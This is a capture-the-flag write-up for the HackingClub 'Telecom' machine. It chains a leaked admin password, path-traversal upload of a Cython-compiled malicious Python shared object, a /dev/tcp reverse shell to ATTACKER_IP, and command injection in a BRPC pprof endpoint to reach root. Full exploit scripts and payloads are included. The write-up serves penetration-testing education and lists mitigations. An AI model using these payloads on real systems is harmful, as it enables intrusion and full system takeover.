Target Information
- IP Address: 172.16.10.70
- Difficulty: Hard
- Tags: Information Disclosure, Arbitrary File Write, Python Shared Object Hijack, Flask RCE, BRPC pprof Command Injection
Reconnaissance
Port Scanning
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.10.70Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH
80/tcp open http
Add the hosts to /etc/hosts:
172.16.10.70 telecom.hc telemetry.telecom.hc
Web Enumeration
Discovery: Information Disclosure in /api/config
The /api/config endpoint is accessible without authentication and exposes the complete application configuration, including administrator credentials in plaintext.
Request:
GET /api/config HTTP/1.1
Host: telemetry.telecom.hcResponse:
{
"config": {
"admin_pass": "t3l3m3try@2026",
"admin_user": "admin"
},
"debug": false,
"env": "development",
"status": "ok",
"uptime": "3d 14h 22m",
"version": "2.1.0"
}Leaked credentials: admin : t3l3m3try@2026
Identified stack: Python 3.11.14 + Flask 3.1.6
Authenticated Application Analysis
Logging in at telemetry.telecom.hc/login with the recovered credentials reveals:
- File upload functionality at
/upload - The
/telemetryendpoint dynamically imports thetelemetrymodule - The application imports
telemetryas a Python module — a potential shared object hijack vector
Exploitation: Python Dirty AFW → RCE via Shared Object Hijack
Technique
When importing modules, Python resolves them in the following priority order:
telemetry.so > telemetry.py > telemetry.pyc
If a compiled .so file exists on the import path, it is loaded before .py or .pyc files. Combined with an arbitrary file write vulnerability (an upload without extension restrictions), this allows replacing the legitimate module with a malicious shared object that executes code when imported.
Reference: Python Dirty Arbitrary File Write to RCE via Shared Object Files
Compiling the Malicious .so
The .so must be compiled with the same Python version as the server (3.11.14). The payload uses Cython to compile Python code into a shared object.
telemetry.py (payload):
__import__("os").system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")setup.py:
from distutils.core import setup
from Cython.Build import cythonize
setup(ext_modules=cythonize("telemetry.py"))Dockerfile.build — ensures an environment identical to the server:
FROM python:3.11.14-slim
RUN apt-get update && apt-get install -y gcc && rm -rf /var/lib/apt/lists/*
RUN pip install cython
WORKDIR /build
COPY telemetry.py setup.py ./
RUN cythonize -i telemetry.py && \
cp telemetry.cpython-311-*.so telemetry.so
CMD ["cp", "telemetry.so", "/output/telemetry.so"]Build:
docker build -f Dockerfile.build -t build-so .
docker run --rm -v $(pwd)/output:/output build-soThe output/telemetry.so file is ready for upload.
Upload and Trigger
The /upload endpoint stores files in a subdirectory of /app (for example, /app/uploads/) but does not sanitize the multipart filename. Sending filename="../telemetry.so" uses path traversal to write the file directly to /app/telemetry.so — the application root, which is on the Python import path.
This makes the attack possible: without path traversal, the .so would remain in /app/uploads/, outside the import location.
The poc.py script performs the upload and trigger. The excerpt below shows the endpoint behavior:
/upload Endpoint (reference):
POST /upload HTTP/1.1
Host: telemetry.telecom.hc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5luB3FBx6nVR1IyM
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.aaSoCw.EaA6NDd6nO0HnTl_jhLUofhfo48
------WebKitFormBoundary5luB3FBx6nVR1IyM
Content-Disposition: form-data; name="file"; filename="../telemetry.so"
Content-Type: application/x-sharedlib
[binary contents of telemetry.so]
------WebKitFormBoundary5luB3FBx6nVR1IyM--The filename="../telemetry.so" path moves up one directory and writes to /app/telemetry.so, overwriting the legitimate module.
1. Listener:
penelope -p 44442. Run poc.py (upload and trigger):
python3 poc.py
[*] Writing our shared object file...
[*] Triggering the reloader...
[*] Triggering /telemetry (waiting up to 30s for reverse shell)...
[+] Request completed.The poc.py script uploads the file through /upload using path traversal, then accesses /telemetry to force Python to import the module, which now resolves to the malicious .so.
Shell obtained:
[+] Got reverse shell from ip-172-16-15-22~172.16.15.22-Linux-x86_64 Assigned SessionID <1>
telemetry@ip-172-16-15-22:~/app$Privilege Escalation: Command Injection via BRPC pprof
Internal Service Enumeration
On the compromised machine, a BRPC service is listening locally on port 8000. BRPC (Apache’s C++ RPC framework) exposes pprof profiling endpoints that are accessible only on localhost.
curl -s http://localhost:8000/pprof/heapAnalysis of the /pprof/heap Endpoint
The endpoint accepts the display and extra_options parameters and passes them directly to jeprof without sanitization. The extra_options value is concatenated into a shell command, enabling command injection.
Exploit:
import http.client
conn = http.client.HTTPConnection("localhost", 8000)
path = "/pprof/heap?display=text&extra_options=inuse_space%20;cat${IFS}/root/root.txt>/tmp/rce5.txt;true%20"
conn.request("GET", path, headers={"Host": "localhost:8000"})
resp = conn.getresponse()
print(resp.read(200).decode(errors='replace'))python3 exploit.py
./rpc_data/profiling/pprof_649e776163bea6118571ddf9d783afee/20260302.170310.heap
env JEPROF_FILE invalid
read_command_output <jeprof /root/apache/brpc/example/echo_c++/brpc_server ./rpc_data/profilinThe command ran as root. The flag was written to /tmp/rce5.txt:
cat /tmp/rce5.txt
hackingclub{*************}ROOT OBTAINED!
Attack Chain Summary
1. Unauthenticated /api/config
↓ Unauthenticated endpoint exposes administrator credentials in plaintext
2. Log in to the application
↓ admin:t3l3m3try@2026
3. Arbitrary File Write via /upload
↓ No extension restriction allows a `.so` upload
4. Python Shared Object Hijack
↓ telemetry.so takes precedence over telemetry.py in module resolution
5. Flask Import Trigger via /telemetry
↓ Importing the module executes the .so payload
6. Reverse Shell (telemetry user)
↓ Shell as the application user
7. BRPC pprof Command Injection
↓ Unsanitized `extra_options` → command injection in a root context
8. Root access
↓ Flag lida de /root/root.txt
Vulnerabilities Summary
-
Unauthenticated Configuration Disclosure
CWE-200Critical- Unauthenticated
/api/configexposes administrator credentials in plaintext, allowing full application access
- Unauthenticated
-
Unrestricted File Upload → Arbitrary File Write
CWE-434Critical- Upload without extension validation allows Python modules to be overwritten with malicious shared objects
-
Python Module Hijack via Shared Object
CWE-426Critical- Python loads
.sofiles before.pyfiles — arbitrary file write in the application directory results in RCE when the module is imported
- Python loads
-
Command Injection via BRPC pprof
CWE-78Critical- The
/pprof/heapendpoint’sextra_optionsparameter is concatenated into thejeprofcommand without sanitization; the command runs as root
- The
Technical Analysis
Python Module Resolution — Import Priority
Technology: Python 3.11.14, CPython
Resolution order when importing telemetry:
telemetry.so(compiled shared object) ← highest prioritytelemetry.py(source code)telemetry.pyc(compiled bytecode)
Exploitation requirements:
- Write access to the module import directory
- The
.somust be compiled for the target Python version and architecture - The module must be imported after upload (dynamically or through a restart/reloader)
Compilation pipeline:
telemetry.py (payload) → Cython → telemetry.c → gcc → telemetry.cpython-311-x86_64-linux-gnu.so → telemetry.so
BRPC pprof — Command Injection Flow
Technology: Apache BRPC (C++ RPC framework), jeprof
The /pprof/heap endpoint builds a command for jeprof:
jeprof [options] <binary> <heap_file>
The extra_options parameter is inserted directly into the command string without escaping. The payload uses:
${IFS}as an argument separator (space bypass);as a command separator (shell injection)trueto ensure an exit code of 0
inuse_space ;cat${IFS}/root/root.txt>/tmp/rce5.txt;true
Mitigation Recommendations
Application Level
-
Add authentication to
/api/config:- Requires a Bearer token or a valid session
- Never expose credentials in API responses, even to authenticated users
-
Validate uploaded file extensions and content types:
ALLOWED_EXTENSIONS = {'csv', 'json', 'txt'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS- Store uploads outside the application directory:
- Prevent uploaded files from being imported as Python modules
- Use an isolated directory without execution permissions
System Level
-
Sanitize pprof parameters:
- Use
shlex.quote()or an equivalent before passing input to a shell - Restrict access to the pprof endpoint to privileged users
- Do not expose profiling endpoints in production
- Use
-
Principle of least privilege:
- The BRPC service must not run as root
- Separate the application process from the profiling process
-
Monitoramento:
- Alert on uploads of
.so,.py, and.pycfiles - Monitor access to the application module directory
- Alert on uploads of
Proof of Concept Scripts
poc.py — Upload and Trigger
The script automates uploading the malicious .so through path traversal and calls the endpoint that forces the module import.
import requests
from io import BytesIO
from time import sleep
FILE_UPLOAD_ENDPOINT = '/upload'
SHARED_OBJECT_FILE_PATH = f'/../telemetry.so'
TRIGGER_PATH = '/telemetry'
baseUrl = 'http://telemetry.telecom.hc/'
cookies = {
'session': 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.aaSoCw.EaA6NDd6nO0HnTl_jhLUofhfo48'
}
def getSharedObjectFileContent(filename):
with open(filename, 'rb') as file:
return file.read()
def uploadFile(filename, fileContent):
fileBytes = BytesIO(fileContent)
file = { 'file': (filename, fileBytes, 'text/plain') }
requests.post(f'{baseUrl}{FILE_UPLOAD_ENDPOINT}', files=file, cookies=cookies).text
if __name__ == '__main__':
print('[*] Writing our shared object file...')
sharedObjectFile = getSharedObjectFileContent('telemetry.so')
uploadFile(SHARED_OBJECT_FILE_PATH, sharedObjectFile)
print('[*] Triggering the reloader...')
print('[*] Triggering /telemetry (waiting up to 30s for reverse shell)...')
try:
requests.get(f'{baseUrl}{TRIGGER_PATH}', cookies=cookies)
print('[+] Request completed.')
except requests.exceptions.Timeout:
print('[+] Request timed out after 30s (check your listener for shell).')
except requests.exceptions.ConnectionError:
print('[+] Connection lost (shell probably connected).')Key points:
SHARED_OBJECT_FILE_PATH = '/../telemetry.so'— path traversal infilenamemakes the.soland at/app/telemetry.soinstead of/app/uploads/- The trigger is a simple GET to
/telemetry— the application imports the module and executes the payload - The
except ConnectionErrorhandles the case where the reverse shell closes the HTTP connection before the response arrives
Tools Used
- nmap - Port scanning and service enumeration
- Docker - Build
.sofiles in a controlled Python 3.11.14 environment - Cython - Compile Python into a shared object
- penelope - Reverse shell handler
- poc.py - Upload and trigger the malicious module
References
Core Technique
Python Internals
BRPC
Author: cbxcvl Date: March 2, 2026 Machine: Telecom Platform: HackingClub
Flags
Flag values and file paths are not documented in the source notes.